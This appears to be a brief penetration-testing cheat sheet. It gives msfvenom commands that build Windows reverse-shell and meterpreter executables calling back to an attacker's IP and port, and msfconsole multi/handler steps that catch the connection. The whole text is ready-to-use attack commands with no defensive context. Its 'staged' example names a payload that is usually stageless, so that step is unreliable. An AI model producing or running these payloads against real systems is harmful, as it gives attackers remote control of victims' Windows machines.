64 bit:
msfvenom --platform Windows -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o win.exe
32 bit:
msfvenom --platform Windows -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o win.exe
If shell drops immediately, consider using a staged shell.
Staged:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=IP LPORT=PORT -f exe -o /tmp/shell.exe
Staged need to serve stage payload using msfvenom:
msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost IP
set lport PORT
exploit